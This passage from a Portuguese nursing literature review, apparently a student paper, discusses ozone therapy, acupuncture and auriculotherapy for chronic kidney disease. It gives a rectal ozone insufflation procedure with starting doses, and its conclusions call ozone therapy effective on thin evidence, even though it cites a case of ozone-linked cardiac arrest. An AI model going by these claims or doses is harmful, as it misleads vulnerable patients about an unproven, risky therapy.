<p class="wp-block-paragraph">A utilização da auriculoterapia assim como, dos pontos sistêmicos de acupuntura com agulhas e cristais objetivando-se a melhoria de sinais e sintomas em pacientes renais crônicos durante a hemodiálise, promoveram melhoras clínicas expressivas para os pacientes, como o controle da dor e da pressão arterial, destacando-se, os pontos Shem Men, Simpático e Rim na auriculoterapia. (COSTA et al, 2019).&nbsp;</p>



<p class="wp-block-paragraph">A alteração bioquímica proporcionada pelos tratamentos não farmacológicos de auriculoterapia e exercício físico resistido, pode ser uma ferramenta eficaz para o tratamento e para o manejo clínico da doença renal crônica, visando a sua utilização como tratamentos auxiliares e complementares ao tratamento intensivista hemodialítico (PUHLE. 2022 apud MELO et al., 2020; OLIVEIRA et al., 2020)&nbsp;</p>



<p class="wp-block-paragraph"><strong>3.4</strong> <strong>ATUAÇÃO DA ENFERMAGEM NO CUIDADO DE PACIENTES COM DOENÇAS RENAIS.&nbsp;</strong></p>



<p class="wp-block-paragraph">As ações de educação em saúde são imprescindíveis para efetividade de ações na progressão da doença. Sendo assim, o enfermeiro se destaca pela importante atribuição que possui como profissional cuidador e educador que o torna um dos principais responsáveis por sistematizar o autocuidado, desenvolver atividades educativas de promoção da saúde, prestar assistência aos principais grupos de risco para DRC assim como buscar melhoria da qualidade de vida (MALTA; SILVA, 2013).&nbsp;</p>



<p class="wp-block-paragraph">Atenta-se que as pesquisas e o aperfeiçoamento dos profissionais da área de saúde visam a reduzir riscos, inseguranças e vulnerabilidades nos pacientes, pois estes já se encontram debilitados e frágeis devido ao problema que estejam enfrentando, e se sentem desamparados pelas instituições hospitalares, haja vista os inúmeros problemas na saúde pública e privada. Evitam-se, para preservar a segurança e a estabilidade física e emocional do paciente, muitos atos considerados inseguros ou extremamente invasivos, sendo substituídos por técnicas melhores e mais avançadas que obtenham os resultados esperados. (MARQUES; FREITAS, 2018)&nbsp;</p>



<p class="wp-block-paragraph">Dentre as inúmeras atribuições do enfermeiro na equipe multiprofissional o supracitado desenvolve a função de educador em saúde e demonstra a abordagem educativa como forma de estimular o autocuidado para adesão ao tratamento, reduzindo a morbidade e mortalidade durante o tratamento da DRC pode minimizar o medo, a angústia e a insegurança (RIBEIRO; ANDRADE, 2018).&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.</strong> <strong>MATERIAIS E MÉTODOS&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>4.1</strong> <strong>Tipo de pesquisa&nbsp;</strong></p>



<p class="wp-block-paragraph">A pesquisa trata-se de uma pesquisa descritiva, qualitativa onde a técnica utilizada foi da revisão bibliográfica de forma narrativa.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.2</strong> <strong>Amostra&nbsp;</strong></p>



<p class="wp-block-paragraph">A pesquisa foi realizada em sites de forma eletrônica em livros acadêmicos e artigos científicos . Foram usadas as plataformas: Google Acadêmico, Scielo, Lilacs, ONIO.&nbsp;</p>



<p class="wp-block-paragraph">Palavras-chave: Ozonioterapia, ozônio em nefropatias, evolução nefropatias, Diabetes Mellitus, terapias integrativas, acupuntura e auriculoterapia em doenças renais crônicas, tipos de nefropatias.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.3</strong> <strong>Critérios de Inclusão e Exclusão&nbsp;</strong></p>



<p class="wp-block-paragraph"><strong>4.3.1 Inclusão&nbsp;</strong></p>



<p class="wp-block-paragraph">Foram incluídos 26 artigos e livros acadêmicos publicados de forma gratuita, completos e disponíveis na íntegra na internet, com os descritores citados na amostra entre os anos de 2011 e 2022. Materiais pesquisados em português, inglês e espanhol.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.3.2</strong> <strong>Exclusão&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">Foram excluídos artigos publicados anteriormente ao ano de 2009, aqueles, pagos, artigos incompletos e fechados.&nbsp;</p>



<p class="wp-block-paragraph"><strong>4.4</strong> <strong>Análise e tratamento dos dados&nbsp;</strong></p>



<p class="wp-block-paragraph">Para a análise de dados, serão construídos quadros através do Microsoft Word com 10 (dez) artigos para obter os resultados, e posteriormente será realizada uma análise comparativa entre os artigos.&nbsp;</p>



<p class="wp-block-paragraph"><strong>5.</strong> <strong>RESULTADOS E DISCUSSÕES&nbsp;</strong></p>



<p class="has-text-align-center wp-block-paragraph"><strong>Quadro 1 – Principais características dos artigos analisados</strong></p>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td><strong>AUTOR(ES)&nbsp;</strong></td><td><strong>REFERÊNCIA&nbsp;</strong></td><td><strong>METODOLOGIA&nbsp;</strong><strong>ABORDADA&nbsp;</strong></td><td><strong>PRINCIPAIS&nbsp;</strong><strong>RESULTADOS&nbsp;</strong></td></tr><tr><td>FERNÁNDEZ.&nbsp;J. et al&nbsp;</td><td>J. et al. Efectos protectores de la Ozonoterapia en el daño renal y hepático en la Diabetes Mellitus Tipo 2. <strong>Rev. CENIC Cienc</strong>. Biol, Cuba, vol.52, n.1, p.018-031,&nbsp;2021&nbsp;</td><td>Estudo foi realizado em 38 pacientes com Diabetes&nbsp;Mellitus tipo 2. Os pacientes foram&nbsp;distribuídos aleatoriamente em dois grupos, o primeiro grupo recebeu tratamento convencional&nbsp;(Metformina,&nbsp;Glibenclamida e vitaminas do complexo B) e terapia com ozônio retal e o segundo (Convencional) foi prescrito apenas o tratamento convencional. As determinações foram feitas em&nbsp;glicemia, hemoglobina glicosilada, LDLcolesterol, VLDL-colesterol e&nbsp;triglicerídeos, além de marcadores de dano foram medidos fígado, lesão renal e escala DNA-4 de dor neuropática, no início e no final das&nbsp; 20 sessões de&nbsp;ozônio retal&nbsp;</td><td>O grupo de pacientes que receberam ozonoterapia retal mais tratamento convencional apresentaram uma diminuição significativa nos valores de&nbsp;glicemia, hemoglobina glicosilada, VLDLcolesterol, triglicerídeo, LDL-colesterol em relação ao grupo com tratamento convencional.&nbsp;</td></tr></tbody></table></figure>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td>TANG. J. W. et al.&nbsp;</td><td>TANG. J. W. et al. Ozone therapy induced sinus arrest in a hypertensive patient with chronic kidney disease. <strong>Medicine open</strong>,<strong> </strong>vol. 95, n 50, p, 2017.&nbsp;</td><td>Estudo de caso com observação de parada sinusal em um paciente hipertenso com doença renal crônica (DRC) causada por hipercalemia após terapia de ozônio. Este relato de caso foi aprovado pela instituição conselho de revisão do&nbsp;Hospital Anzhen.&nbsp;</td><td>Podem ser beneficiadas pela terapia com ozônio doenças caracterizadas por um estresse oxidativo crônico ou a inflamação crônica. Neste caso, o paciente apresentava múltiplas condições: diabetes,&nbsp;hipertensão e DRC. Portanto, hipotetizamos que este caso de hipercalemia pode estar associado à terapia com ozônio com base nos seguintes fatores: o paciente negou o&nbsp;uso de&nbsp;medicamentos que influenciavam o potássio sanguíneo e foram excluídas outras causas de hipercalemia; a deformabilidade&nbsp;dos glóbulos vermelhos foi mal comparados com os das pessoas de saúde e os&nbsp;glóbulos vermelhos serão morreram facilmente porque tanto o diabetes quanto a DRC reduzem a&nbsp;deformabilidade&nbsp;dos glóbulos vermelhos.</td></tr></tbody></table></figure>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td>BOCCI. V. et al.&nbsp;</td><td>BOCCI. V. et al. Has oxygen-ozonetherapy a future in medicine,&nbsp; <strong>Journal </strong><strong></strong><strong>of&nbsp;</strong><strong>Experimental and Integrative Medicine</strong> 2011; 1(1):5-11,&nbsp; University of Siena,&nbsp;Italy.&nbsp;</td><td>Trata-se de uma revisão que visa focar a atenção na&nbsp; terapia bio-oxidativa. enquanto a irradiação de sangue ultravioleta é agora dificilmente realizada, a terapia&nbsp;com oxigénio ozono, após um estágio empírico, cresceu para ser precisa e segura. Enquanto isso, há um interesse renovado na infusão de uma solução diluída de peróxido de hidrogênio em doenças resistentes a antibióticos. Em linha paralela de pesquisa, a&nbsp;oxigenoterapia hiperbárica já foi aceita por medicamento oficial para o tratamento de doenças específicas.&nbsp;Enquanto isso, é lamentável que, devido ao interesse dos charlatões em usar soro fisiológico ozonizado e em alegar “curar” diabetes tipo 2 em&nbsp; 20 dias com a&nbsp;administração imprecisa de ozônio&nbsp;retal, a terapia com ozônio vai perdendo a esperança de ser reconhecida como uma abordagem terapêutica válida.&nbsp;</td><td>Vários tipos de terapia bio-oxidativa têm sido proposto, mas hoje a terapia clássica de ozônio ou/e infusão de uma solução diluída de&nbsp;hidrogênio peróxido parece o mais seguro e útil desde que eles são executados corretamente.&nbsp; Todos os&nbsp;ozonoterapeutas&nbsp;devem agora perceber que o futuro desses procedimentos&nbsp; depende da&nbsp;demonstração alcançada por ensaios clínicos que são eficazes e sem efeitos colaterais.&nbsp;Compromissos Ineficazes&nbsp;impedirão para sempre a aceitação da terapia biooxidativa por medicina oficial.</td></tr></tbody></table></figure>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td>MARTÍNEZSÁNCHEZ. G.&nbsp;L.&nbsp;</td><td>MARTÍNEZ- SÁNCHEZ. G. L..&nbsp;Rectal Administration and its Application in Ozonetherapy<strong>,&nbsp;</strong><strong>International Journal of Ozone Therapy</strong> 11:&nbsp; 41-49, 2012, 2&nbsp;D.I.S.M.A.R.,&nbsp;University of Ancona;&nbsp;Italy&nbsp;</td><td>O objetivo deste manuscrito foi revisar os estudos pré-clínicos e clínicos, artigos que apoiam o uso do RIO3 na clínica prática e protocolo clínico atual. Além disso, alguns aspectos básicos sobre a anatomia e fisiologia do cólon foram revistos.&nbsp;</td><td>Em resumo, RIO3 é uma escolha terapêutica válida na ozonoterapia.&nbsp; Estudos pré-clínicos e clínicos demonstraram que com protocolos&nbsp;clínicos padronizados podem alcançar o sucesso terapêutico.&nbsp;</td></tr><tr><td>PEREIRA R.&nbsp;D. M, Alvim N.&nbsp;A. T.&nbsp;</td><td>PEREIRA R. D. M, Alvim N. A. T. Acupuntura para intervenção de diagnósticos de enfermagem, <strong>Esc.&nbsp;</strong> <strong>Anna </strong><strong></strong><strong>Nery</strong>&nbsp;2016;20(4):e20160084, Universidade Federal do Rio de Janeiro. Rio de Janeiro (RJ), Brasil.&nbsp;</td><td>Estudo quali-quantitativo, descritivo exploratório,&nbsp;desenvolvido com metodologia Delphi eletrônica. A amostra foi constituída de trinta enfermeiros&nbsp;expertises e especialistas da área, de diferentes&nbsp;instituições de saúde e educação em diversas regiões do país&nbsp;</td><td>O consenso formulado permitiu concluir que os diagnósticos de enfermagem podem sofrer intervenções por meio da&nbsp;acupuntura, podendo tanto ser aplicada por&nbsp;enfermeiros especialistas&nbsp;quanto indicada por outros não especialistas, mas que reconheçam na acupuntura uma possibilidade interventiva.</td></tr></tbody></table></figure>



<figure class="wp-block-table has-small-font-size"><table class="has-fixed-layout"><tbody><tr><td>MELO G. A.&nbsp;A. et al.&nbsp;</td><td>Efeitos da acupuntura em pacientes com insuficiência renal crônica: revisão sistemática, Rev Bras&nbsp; Enferm <strong>REBEn </strong><strong></strong>.&nbsp;2020;73(4): e20180784.&nbsp;</td><td>Revisão sistemática, conduzida em seis bases de dados, de setembro a dezembro de 2017, seguindo critérios do Preferred&nbsp;Reporting Items for Systematic Reviews and Meta-Analyses. Utilizaram-se descritores:&nbsp;Acupuntura AND Doença Renal Crônica AND&nbsp;Ensaio Clínico, e suas respectivas traduções para o inglês.&nbsp;</td><td>Os estudos reforçam o efeito positivo da acupuntura na melhora da qualidade de vida, fadiga e sono em pacientes renais crônicos.&nbsp;</td></tr><tr><td>PATERNO. J.&nbsp;C. et al.&nbsp;</td><td>PATERNO. J. C. et al.&nbsp; Acupuntura em&nbsp;Nefrologia: estado da arte. <strong>Brazilian Journal of Nephrology</strong>, vol. 31, n 2, p. 67-72, 2009.&nbsp;</td><td>Discussão resumidamente dos conceitos e princípios que norteiam a MTC e revisão das&nbsp;evidências<br>científicas da sua<br>utilização em<br>Nefrologia.</td><td>Na MTC, mais precisamente, o emprego da acupuntura e&nbsp;moxabustão, apresentam&nbsp;grande potencial no tratamento das condições nefrológicas. É evidente que mais pesquisas necessitam ser realizadas para ampliar a nossa compreensão dos mecanismos responsáveis por essa ação positiva da acupuntura e moxabustão,&nbsp;<br>visando à aplicação dessa prática terapêutica integrada aos&nbsp;<br>tratamentos clássicos para pacientes com&nbsp;<br>IRC.</td></tr><tr><td>MARQUES R.&nbsp;<br>V. S. Freitas v&nbsp;l.</td><td>MARQUES R. V. S.&nbsp;<br>Freitas v l. Importância da assistência de enfermagem no cuidado ao paciente transplantado renal. <strong>Rev enferm UFPE on line</strong>., Recife,&nbsp;<br>12(12):3436-44, dez., 2018.</td><td>Trata-se de um estudo bibliográfico, tipo revisão integrativa, na base de dados LILACS e bibliotecas virtuais&nbsp;<br>SciELO e BVS, incluindo artigos completos, em português, inglês ou espanhol.</td><td>A Enfermagem possui um papel fundamental no sucesso, na recuperação e na melhoria da qualidade de vida do paciente&nbsp;<br>transplantado renal</td></tr><tr><td>FREITAS. R. et al.</td><td>FREITAS. R. et al.&nbsp;<br>Cuidados de enfermagem ao paciente renal crônico em hemodiálise. <strong>Rev Rene. Natal-RN</strong>, vol. 15, n 04, p 701-9. 2014.</td><td>Trata-se&nbsp; de&nbsp; um&nbsp; estudo&nbsp; de&nbsp; revisão&nbsp; integrativa&nbsp; da&nbsp;<br>literatura,&nbsp; realizado&nbsp; a&nbsp; partir&nbsp; de&nbsp; artigos&nbsp; científicos&nbsp;&nbsp;disponíveis&nbsp; nas&nbsp; bases&nbsp; de&nbsp; dados&nbsp; Literatura Latino Americana&nbsp; e&nbsp; do&nbsp; Caribe&nbsp; em&nbsp; Ciências&nbsp; da&nbsp; Saúde&nbsp;&nbsp;(LILACS), e&nbsp;&nbsp;<br>SciELO -Scientific&nbsp;<br>Electronic&nbsp; Library&nbsp;&nbsp;<br>Online e&nbsp; BDENF,</td><td>O&nbsp; enfermeiro deve&nbsp; avaliar&nbsp; as condições&nbsp; físicas e&nbsp; emocionais,&nbsp;<br>prescrever&nbsp;cuidados de acordo com as necessidades individuais e fortalecer vínculos de confiança com pacientes,&nbsp;<br>familiares e demais membros da equipe por meio da&nbsp;<br>comunicação terapêutica e&nbsp;interação transdisciplinar.<br></td></tr><tr><td>SILVA. A. C. et al.</td><td>A ação do enfermeiro na prevenção de doenças renais crônicas: uma revisão integrativa. <strong>S A N A R E</strong>, Sobral<strong>, </strong>São Paulo-<br>SP,<strong> </strong>V.14, n 02, p.148-<br>155, jul./dez. – 2015</td><td>Este&nbsp; artigo&nbsp; tem&nbsp; por&nbsp; objetivo revisar a bibliografia sobre o papel e a atuação do profissional de enfermagem entre indivíduos que se enquadram no grupo de risco das&nbsp;DRC, como hipertensos e diabéticos.</td><td>A pesquisa mostrou que o&nbsp;<br>enfermeiro&nbsp;<br>desempenha um importante papel na sensibilização desses pacientes, pois ajuda na promoção saúde e/ou prevenção doenças relacionadas às DRC<br></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">De acordo com Dias et al. (2021), a ozonioterapia demonstrou ampla capacidade de tratamento contra as mais diferentes afecções. No Brasil, é regulamentada pelos conselhos de Fisioterapia, Odontologia, Farmácia e Enfermagem, mas não pelo Conselho de Medicina, fato que pode culminar na redução do conhecimento sobre o assunto durante a formação profissional de estudantes de medicina e, assim, este futuro médico não aplicaria os benefícios dessa terapia no processo de acelerar a restauração da saúde.&nbsp;</p>



<p class="wp-block-paragraph">Já Tang (2017) reforça que a auto-hemoterapia com ozônio é um método de tratamento alternativo que tem sido aplicado no tratamento de diversas doenças, como diabetes e insuficiência cardíaca etc. Ele afirma que embora a terapia tenha um efeito significativo tem sido observada em algumas doenças, vários efeitos adversos foram relatados, como síndrome coronariana aguda. No seu estudo destaca a observação de uma parada sinusal em um paciente hipertenso com doença renal crônica (DRC) causada por hipercalemia após terapia de ozônio.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em contraponto a isso Bocci et al (2011) diz que vários tipos de terapia biooxidativa têm sido propostas, mas hoje a terapia clássica de ozônio ou/e infusão de uma solução diluída de hidrogênio peróxido parece o mais seguro e útil desde que eles sejam executados corretamente. Todos os ozonoterapeutas devem perceber que o futuro desses procedimentos depende da demonstração alcançada por ensaios clínicos que sejam eficazes e sem efeitos colaterais. Compromissos ineficazes impedirão para sempre a aceitação da terapia bio-oxidativa por medicina oficial.&nbsp; Contudo Borges et al (2017) deixa claro que o o3 vem sendo utilizado ao longo destes anos como método de desinfecção ou opção de tratamento para diversas doenças (Elvis e Ekta, 2011), incluindo condições inflamatórias crônicas (Bocci et al, 2015), pé diabético úlceras (Liu et al, 2015), osteonecrose (Fliefel et al, 2015), doença periodontal (Gupta e Mansi, 2012) e cárie dentária (Samuel et al, 2016), entre outros. Um uso tão amplo é justificado por sua ampla aplicações biológicas, que abrangem um potencial efeito antimicrobiano. Ratificando o pensamento de Bocci et al (2011), Martínez (2012), descreve a técnica correta de insuflação retal (uma das vias de administração ideal) sendo na seguinte técnica:&nbsp;</p>



<ul class="wp-block-list">
<li>A sala deve ser fechada para garantir que o paciente tenha privacidade.&nbsp;&nbsp;</li>



<li>O paciente deve ser encorajado a esvaziar a bexiga e os intestinos antes do procedimento.&nbsp;&nbsp;</li>



<li>Depois de retirar as peças de vestuário inferiores e roupa íntima, o paciente deve ser posicionado na cama do lado esquerdo, com o joelho de cima dobrado e puxado ligeiramente para cima, levantando as nádegas superiores&nbsp;</li>



<li>Permitir a visualização de sua abertura retal.&nbsp;</li>



<li>Uma almofada à prova d&#8217;água deve ser colocada sob os quadris do paciente para proteger a roupa de cama e um lençol, este deve ser colocado sobre o paciente para cobrir seu corpo, exceto as nádegas.&nbsp;</li>



<li>Utilizar uma comadre de acesso rápido&nbsp;</li>



<li>Enfermeiro deve explicar o procedimento ao paciente.&nbsp;</li>



<li>Esta explicação deve incluir a importância de respirar lentamente pela boca para aumentar o relaxamento do esfíncter retal e evitar pressão de oposição.&nbsp;</li>



<li>O paciente deve ser avisado de que pode haver um desejo de empurrar o medicamento para fora, mas que ele ou ela deve tentar segurá-lo por pelo menos 10 a 15 minutos após a instilação, pois a maioria medicamentos precisam de tempo para serem absorvidos.&nbsp;</li>



<li>A enfermeira (o) deve lavar as mãos e colocar em luvas de procedimento. O envoltório de papel alumínio deve ser removido do cateter retal.&nbsp;</li>



<li>Loções externas, pomadas ou cremes podem ser aplicados diretamente, usando um dedo enluvado ou uma gaze 4×4.&nbsp;&nbsp;</li>



<li>Antes de administrar a ponta do cateter ou aplicador deve ser lubrificado com um lubrificante solúvel em água. Para inserir um cateter retal, a extremidade cônica e lubrificada do cateter deve ser colocada na abertura retal e empurrada suavemente no reto.&nbsp;</li>



<li>O cateter deve ser empurrado continuamente em direção ao umbigo até ser empurrado cerca de 1 polegada (2,5 cm) além do reto.&nbsp;</li>
</ul>



<p class="wp-block-paragraph">Além da sistematização da (o) enfermeira (o) deve atentar-se a concentração e volume. Um bom ponto de partida para a maioria dos usuários iniciantes é de 100 mL (assumindo que a concentração está entre 10 – 20 ug/mL). O volume e a concentração serão ajustados progressivamente dependendo do estado e da patologia particular do paciente.&nbsp;</p>



<p class="wp-block-paragraph">Na mesma linha de pensamento do efeito antioxidante Fernandez et al. (2021), destacada que O DM tipo 2 apresenta complicações graves como insuficiência renal crônica, doença hepática, neuropatia diabética e doença cerebrovascular relacionada à disfunção metabólica que leva a um estado de inflamação crônica. Em um estudo com 38 pacientes a terapia com ozônio retal demonstrou uma redução significativa nos marcadores de dano hepático e renal, bem como a escala de dor DN4, em comparação com o grupo que recebeu apenas tratamento convencional. A aplicação complementar da terapia com ozônio retal mostrou um efeito protetor na função metabólica, hepática e renal em pacientes com DM tipo 2, também mostrou certo caráter analgésico pela redução da dor na referida doença.&nbsp;</p>



<p class="wp-block-paragraph">Mudando a prática integrativa, Segundo Paterno et al. (2009), a MTC apresenta conceitos diferenciados de fisiologia, propedêutica, etiopatogenia e tratamento e vem tornando-se cada vez mais uma abordagem terapêutica reconhecida em vários campos da medicina, É evidente que mais pesquisas necessitam ser realizadas para ampliar a nossa compreensão dos mecanismos responsáveis por essa ação positiva da acupuntura. Porém é notório que nas doenças renais, há o desequilíbrio das forças inatas e internas em que, no contexto geral, todo o organismo é envolvido.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Na linha de terapias integrativas de pacientes acometidos com problemas renais Melo et al., (2020), inclui também a acupuntura, que em resumo é uma intervenção não farmacológica complementar. No contexto das doenças renais, a MTC explica que os rins são responsáveis pela energia inicial do ciclo e que controla o elemento Fogo (Coração). Logo, com o desenvolvimento da doença renal, há menor fluxo energético disponível para todos os outros elementos, acarretando alterações fisiológicas importantes. Apesar de evidenciada pequena produção científica advinda de profissionais enfermeiros, principalmente os latino-americanos, os estudos apontam a acupuntura como possibilidade para intervenção por profissionais enfermeiros, no cuidado ao doente renal crônico, de modo a reduzir os efeitos negativos da terapia renal substitutiva e de convivência com a doença.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">Em complemento ao exposto sobre acupuntura Pereira e Alvim (2016) fazem um comparativo em Diagnósticos de enfermagem e MTC, destacando que frente ao desenvolvimento da ciência da enfermagem e suas contribuições à saúde, incluindo à incorporação de tecnologias no cuidado de enfermagem é relevante que novos estudos sejam realizados, a fim de analisar as potencialidades do emprego da acupuntura como tecnologia de intervenção não farmacológica sobre os diagnósticos de enfermagem, de forma segura e eficaz.&nbsp;</p>



<p class="wp-block-paragraph">Seja com terapia com O<sub>3</sub>, acupuntura, tratamento convencional ou até mesmo transplante a presença do enfermeiro no processo do cuidar é crucial, conforme Silva et al (2015) com o acentuado crescimento da população portadora de doenças crônicas degenerativas e as dificuldades que enfrentam em relação à saúde, a literatura pesquisada reforça que&nbsp; as&nbsp; ações&nbsp; de&nbsp; educação&nbsp; permanente&nbsp; e&nbsp; de&nbsp; orientação&nbsp; para&nbsp; o&nbsp; autocuidado&nbsp; devem&nbsp; ser&nbsp; fortemente&nbsp; promovidas&nbsp; entre&nbsp; a&nbsp; população que reúne os fatores de risco para desenvolvimento da DRC. De acordo com Freitas et al (2014) o enfermeiro e sua equipe devem compreender os aspectos clínicos da doença renal crônica e a complexidade do seu tratamento, especialmente quanto a modalidade terapêutica.&nbsp;</p>



<p class="wp-block-paragraph">Dado isso, Marques e Freitas (2018) afirmam que o profissional de Enfermagem deve sempre buscar o aprimoramento e a qualificação, a fim de fornecer a melhor assistência ao cliente garantindo, assim, a sua qualidade de vida e recuperação.&nbsp;</p>



<p class="wp-block-paragraph"><strong>6.</strong> <strong>Considerações Finais&nbsp;</strong></p>



<p class="wp-block-paragraph">Doenças renais em geral atingem toda a população e podem evoluir de forma muito rápida e às vezes silenciosa, produzem um impacto significativo nos serviços de saúde público e demanda uma constante atualização dos profissionais de saúde envolvidos no processo do cuidar.&nbsp;</p>



<p class="wp-block-paragraph">No decurso dos estudos nos artigos supracitados é evidente que existem tratamentos complementares para às doenças renais que eventualmente são desenvolvidas por doenças de bases ou predisposição. Tratamentos integrativos que são preconizados por diversos conselhos, incluindo o de enfermagem e também o ministério da saúde, os estudos demonstram que é possível melhorar de forma exponencial o quadro clínico do paciente acometido com problemas renais e várias outras patologias.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">É evidente que às práticas integrativas por apresentarem baixo custo não são tão difundidas. Em países subdesenvolvidos essas práticas, em especial a ozonioterapia é uma alternativa eficaz e mais barata para a assistência ao paciente. O não reconhecimento pelo CFM (Conselho Federal de Medicina) dificulta muito este processo no Brasil, pois acaba influenciando a área de pesquisa da indústria farmacêutica de forma negativa o que acarreta em uma baixa demanda por pesquisa, isso fica evidente na dificuldade de encontrar estudos em revistas científicas brasileiras relacionados ao assunto.&nbsp;</p>



<p class="wp-block-paragraph">Dado isso é essencial difundir e pesquisar mais sobre práticas integrativas, em especial a da ozonioterapia e ao mesmo tempo realizar uma educação continuada substancial aos profissionais de enfermagem no tocante ao assunto para que possam evitar a aplicação de protocolos de forma errada e/ou exagerada, causando assim efeitos adversos indesejados.&nbsp;</p>



<p class="wp-block-paragraph"><strong>REFERÊNCIAS&nbsp;</strong></p>



<p class="wp-block-paragraph">ALVES. C. M. P. et al. Nefropatia diabética: avaliação dos fatores de risco para seu desenvolvimento.<strong> Rev Bras Clin Med.</strong> São Paulo, 2011 mar-abr; 9(2): 97-100&nbsp;Disponível em: <a href="http://files.bvs.br/upload/S/1679-1010/2011/v9n2/a1818.pdf">http://files.bvs.br/upload/S/1679-1010/2011/v9n2/a1818.pdf </a>&nbsp;Acessado em: 13 de janeiro de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">ARAÚJO. G. S. B. et al. Hipertensão arterial sistêmica: problema de saúde pública nos dias atuais,<strong> ReBIS</strong>. Revista Brasileira Interdisciplinar de Saúde, 2019;1(1):39-43.&nbsp;Disponível em:<a href="https://revistarebis.rebis.com.br/index.php/rebis/article/view/10/6">https://revistarebis.rebis.com.br/index.php/rebis/article/view/10/6 </a>&nbsp;Acessado em: 19 de junho de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">BESSA J. W. L. et al. Abordagem geral da doença renal crônica e sua relação com a hipertensão arterial sistêmica: uma revisão integrativa, <strong>REAMed </strong>Vol.1 set. 2021. Disponível em: <a href="https://acervomais.com.br/index.php/medico/article/view/8904/5404">https://acervomais.com.br/index.php/medico/article/view/8904/5404 </a>Acessado em: 12 de maio de 2022. <strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">BRASIL, <strong>Ministério da saúde</strong>. Doenças Renais Crônicas (DRC). Saúde de A a Z. Brasília, 2022. Disponível em: <a href="https://www.gov.br/saude/pt-br/assuntos/saude-de-a-a-z/d/drc">https://www.gov.br/saude/pt-br/assuntos/saude-de-aa-z/d/drc </a>Acessado em: 15 de janeiro de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">BRASIL. <strong>Ministério da Saúde.</strong> Secretaria de Atenção à Saúde. Departamento de&nbsp;Atenção Básica. Política Nacional de Práticas Integrativas e Complementares no SUS. Brasília, 2013 a 2021. Disponível em:&nbsp;<a href="https://bvsms.saude.gov.br/bvs/publicacoes/pnpic.pdf">https://bvsms.saude.gov.br/bvs/publicacoes/pnpic.pdf </a>Acessado em: 16 de janeiro de 2022.&nbsp;&nbsp;</p>



<p class="wp-block-paragraph">BOCCI. V. et al. Has oxygen-ozonetherapy a future in medicine, <strong>Journal of&nbsp;Experimental and Integrative Medicine</strong> 2011; 1(1):5-11, University of Siena, Italy. Disponível em: <a href="https://www.researchgate.net/publication/289248962_Has_oxygen-ozonetherapy_a_future_in_medicine">https://www.researchgate.net/publication/289248962_Has_oxygenozonetherapy_a_future_in_medicine </a>Acessado em: 10 de setembro de 2022.<strong>&nbsp;&nbsp;</strong></p>



<p class="wp-block-paragraph">BORGES G. A. et al. Avaliação in vitro da cicatrização de feridas e potencial antimicrobiano da terapia com ozônio, <strong>Journal Of Cranio-Maxillo-Facial Surgery</strong>, 2017; 1~7. Disponível em: <a href="https://www.aboz.org.br/biblioteca/in-vitro-evaluation-of-wound-healing-and-antimicrobial-potential-of-ozone-therapy/94/">https://www.aboz.org.br/biblioteca/in-vitro-evaluation-ofwound-healing-and-antimicrobial-potential-of-ozone-therapy/94/ </a>Acessado em: 18 de setembro de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">CARVALHO. E. A. P. et al. Rastreamento de doença renal em pacientes com&nbsp;Diabetes Mellitus na atenção primaria de saúde, <strong>Rev Enferm UERJ,</strong> Rio de Janeiro,&nbsp;2018; 26:e21495, 2018. Disponível em:<a href="https://www.e-publicacoes.uerj.br/index.php/enfermagemuerj/article/view/21495/28200">https://www.epublicacoes.uerj.br/index.php/enfermagemuerj/article/view/21495/28200 </a>Acessado em: 15 de abril de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">DIAS. E. et al<strong>. </strong>A atuação da ozonioterapia em feridas, neuropatias, infecções e inflamações: uma revisão sistemática. <strong>Brazilian Journal of Development.</strong> Curitiba, v.7, n.5, p. 48604-48629, 2021. Disponível em:<strong>&nbsp;</strong><a href="https://brazilianjournals.com/ojs/index.php/BRJD/article/view/29786/23501">https://brazilianjournals.com/ojs/index.php/BRJD/article/view/29786/23501 </a>Acessado em: 18 de janeiro de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">FERNÁNDEZ. J. et al. Efectos protectores de la Ozonoterapia en el daño renal y hepático en la Diabetes Mellitus Tipo 2. <strong>Rev. CENIC Cienc</strong>. Biol, Cuba, vol.52, n.1, p.018-031, 2021. Disponivel em:&nbsp;<a href="https://revista.cnic.cu/index.php/RevBiol/article/view/863/713">https://revista.cnic.cu/index.php/RevBiol/article/view/863/713 </a>Acessado em: 19 de janeiro de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">FREITAS. R. et al. Cuidados de enfermagem ao paciente renal crônico em hemodiálise. <strong>Rev Rene. </strong>Natal-RN, vol. 15, n 04, p 701-9. 2014. Disponível em: <a href="https://periodicos.unifacex.com.br/Revista/article/view/678/pdf">https://periodicos.unifacex.com.br/Revista/article/view/678/pdf </a>Acessado em: 02 de fevereiro de 2022.<strong>&nbsp;</strong></p>



<p class="wp-block-paragraph">MARQUES R. V. S. Freitas V. L. importância da assistência de enfermagem no cuidado ao paciente transplantado renal. <strong>Rev enferm UFPE online</strong>., Recife, 12(12):3436-44, dez., 2018.Disponível em: <a href="https://periodicos.ufpe.br/revistas/revistaenfermagem/article/viewFile/237692/30822">https://periodicos.ufpe.br/revistas/revistaenfermagem/article/viewFile/237692/30822 </a>&nbsp;Acessado em: 19 de junho de 2022.<strong>&nbsp;</strong></p>



